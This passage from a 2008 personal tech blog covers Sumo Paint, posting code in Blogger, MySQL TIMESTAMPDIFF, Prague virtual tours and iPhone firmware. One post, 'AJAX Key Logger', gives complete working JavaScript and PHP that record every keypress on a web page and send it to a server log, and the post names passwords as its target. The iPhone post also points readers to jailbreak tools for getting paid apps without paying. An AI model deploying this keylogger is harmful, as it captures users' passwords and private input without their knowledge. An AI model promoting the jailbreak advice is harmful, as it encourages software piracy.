6) You can edit a file on your computer. It will be copied on the server and when you finish editing it, you can download it back or save it to your Sumo account (if you’re registered of course). The same you can do with a picture from web.

I could go on with the functions and features but I think this is enough. While I was writing this article, I was thinking about the idea of a graphic editor on web. I’m not going to use it for some serious stuff, but it really doesn‘t mean I don’t like the idea. I prefer my desktop graphic editor (Gimp), but you know, there are situations you are on a computer and there is only MS Paint and you need to edit some photo. In this situation I would definitaly use SUMO Paint for the edit. This is a case when I would prefer it but if I can choose between a desktop and a web graphic editor, I would use the desktop one. Maybe I’m too conservative.

SUMO Paint homepage

Posting (javascript) code in Blogger

2008-10-28T17:51:00.005+01:00

You could take notice that I copied a code in my previous post called AJAX Key Logger, actually it wasn't as easy as I thought before posting that. I had a problem with sending Java Script code because the Blogger application thought it's a code and yes, it was right about that but it didn't display my code maybe because of some security reasons.

So I googled a bit and I found a solution. You just need to convert your code to html entities, I found this converter, which works just fine for me. When you convert your code, you copy that back to Blogger and it will be displayed in your post.

Xubuntu 8.10 comming soon

2008-10-13T14:23:00.003+02:00

Xubuntu 8.10 is comming. You can tell it to the whole world by adding this code on your web page.

<a href="http://xubuntu.org" title="Learn more about Xubuntu..."><img src="http://xubuntu.org/xubuntu-static/intrepid-countdown/index.php" alt="Countdown to Xubuntu (xubuntu.org) 8.10, by Pasi Lallinaho"></a>

AJAX Key Logger

2008-10-11T11:21:00.010+02:00

I'm pretty sure you know those programs which are logging your action on the keyboard. They simply notice each key you press and save it to a file. These programs can notice your email adress, web pages you visit, your chat with friends and even your passwords. And what's worse, you don't know about them.

But what I want to write about. You should know that it's also possible to make such a keylogger in javascript. It notices only your action on the current page but still it can be misused. Just for example, imagine that you are trying to login somewhere and you are requested to enter a password. Are you 100% sure while entering the password or do you have to try some passwords because you can't recall the correct one?

You can create a keylogger very simple, I want you to be aware that something like this exists. Don't misuse this tutorial.

1) Create a file and call it index.html. Copy this into it and save it.

<script>
function sendkeylog (keylog) {
if (window.ActiveXObject) {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
}
else {
httpRequest = new XMLHttpRequest();
}
httpRequest.open("GET", "server.php?keylog="+keylog, true);
httpRequest.send(null);
}

function savekeycode (e) {
keylog+=String.fromCharCode(e.charCode);
if ((keylog.length==5)||(e.keyCode==13)) {
sendkeylog(keylog);
keylog="";
}
}
keylog="";
document.onkeypress=savekeycode;
</script>

How does it work? The javacript notices every key press and saves it into a variable called keylog. When the keylog variable reaches the lenght of 5 letters, it's sent to a server by an ajax request.

2) Create a file and name it server.php. Copy this code and save it.

<?php
$myFile = "log.txt";
$fh = fopen($myFile, 'a+') or die("can't open file");
$stringData = $_GET["keylog"];
fwrite($fh, $stringData);
fclose($fh);
?>

The file on a server catchs the variable keylog (delivered by the ajax request) and saves it into a file called log.txt. The file log.txt should have a persmission to be rewritten.

Virtual tours from the Prague's towers

2008-10-08T16:39:00.004+02:00

Few days ago I found a very nice website, which allows you to watch Prague from the bird's-eye view. To be more exact you just choose one of the hundred towers in Prague and you got a photograph with the maximal angle of view 360°x180°. This means you can turn right, turn left, look above and bellow you which enables you to see everything around you.

The whole application is made in Flash (I suppose you need to have Flash Player 9, but I didn't try with the older versions). Every photo has about 1/2MB so it's downloaded pretty fast and immediately ready to use. You control the view with the buttons on the photo or with your mouse just by clicking on the photo. There is also a fullscreen function and it's very, very nice :p. If you are tired from the view of your tower, you can 'jump' on another by clicking on the arrow above the tower you want to jump to.

So it was a little description and here is the link you can follow if this article impressed you. Virtual tours from the Prague's towers

MySQL TIMESTAMPDIFF

2008-10-07T17:40:00.004+02:00

Timestampdiff is a very useful function in MySQL. It counts days, months, years or what you want between two dates. Of course it takes into account things like 29th February etc. The usage is simple:

mysql> SELECT TIMESTAMPDIFF(DAY, '2008-02-28', '2008-03-01');
//prints: 2

You can for example count the number of days you are on the world.

mysql> SELECT TIMESTAMPDIFF(DAY, '1991-01-01', DATE_FORMAT(NOW(),"%Y-%m-%d"));
//prints: 6489

Or sorry, you actually wanted to have the time in seconds.

mysql> SELECT TIMESTAMPDIFF(SECOND, '1991-01-01 15:00:00', DATE_FORMAT(NOW(),"%Y-%m-%d %H:%I:%S"));
//prints the time since 1991-01-01 15:00:00 until now

Equation solver and plotter in PHP

2008-09-20T14:15:00.007+02:00

I'm sure that everyone knows what an equation is. It's for example x^2=9. If I should solve an equation, I would write it down on a piece of paper and tried to edit that equation, everyone knows what is possible to do and what is not while editing. Or I could enter the equation into some computer program and it would solve it instead of me in a few seconds (miliseconds :p). There are loads of these programs on the internet, moreover some are online.

But, what I wanted to say or what does the heading refers to is that I tried to make an application which is able to solve an equation and print the graph with the solution. It's written in my favourite language PHP (which also means that the application runs online). The whole app is made by my own head so don't except something genuis, I'm sure it contains some bugs but it's still usable for me.

My app should be able to solve linear, quadratic and some goniometric (sine, cosine) equations and you can try it now! So enjoy and feel free to comment, I'm looking forward to it.

iPhone/iPod Firmware 2.0

2008-09-08T17:13:00.004+02:00

It's a few months ago when the firmware for iPhone (and also iPod) was released. The actual version is 2.0.2 and it brings loads of new features. In my opinion, the firmware 2.0 was mainly designed for the iPhone 3G but it also works on the older version of iPhone and also on iPod Touch.

The firmware 2.0 costs about $10 but it includes the older applications (known as 'apps for $20'). So you have the mail client, Google Maps viewer, weather forecast, and notes by default. And these application are very usable. Moreover there is one more application called 'App Store' where you can download tons of programs and games. Some are free and some are paid but you need to have an account on the officialy Apple App Store to download and install these apps (even if they are free).

The calculator, which is a native application, was improved. The old one was just simple, applicable only for the basic counts. But I missed the goniometric functions (sinus, cosinus..), square and third power, sqare and third root and the brackets. Now you get these functions just by turning iPod into the landscape position, which also makes the input line longer.

New games are just fine. One of my favourite is Asphalt 4, a well know game for mobile phones. I didn't play any of Need for Speed but I guess Asphalt 4 is a kind of this game. You have a car which you can improve/or change by buying add-ons from money you earn from a won race. When you win a race, you unlock another map and so on. You simply control this game by two fingers (the right part of the screen means turning right and vice versa) or by tilting the iPod.

Another game is Texas Hold'em which is poker in fact. I haven't ever played poker before but now I can't throw it off =). The opponents are very realistic. They are happy \o/ when they win and sad when lose the game and the tallier applauds you when you win.

There are also several ways how to jailbreak this firmware. It's for people who don't want to pay for these apps and games. For Mac users is there the Pwnage Tool (developed by the worldwide known iphone dev team :p) and for Windows users exists WinPwn. Both are very simple to use and provide you to download and install for free.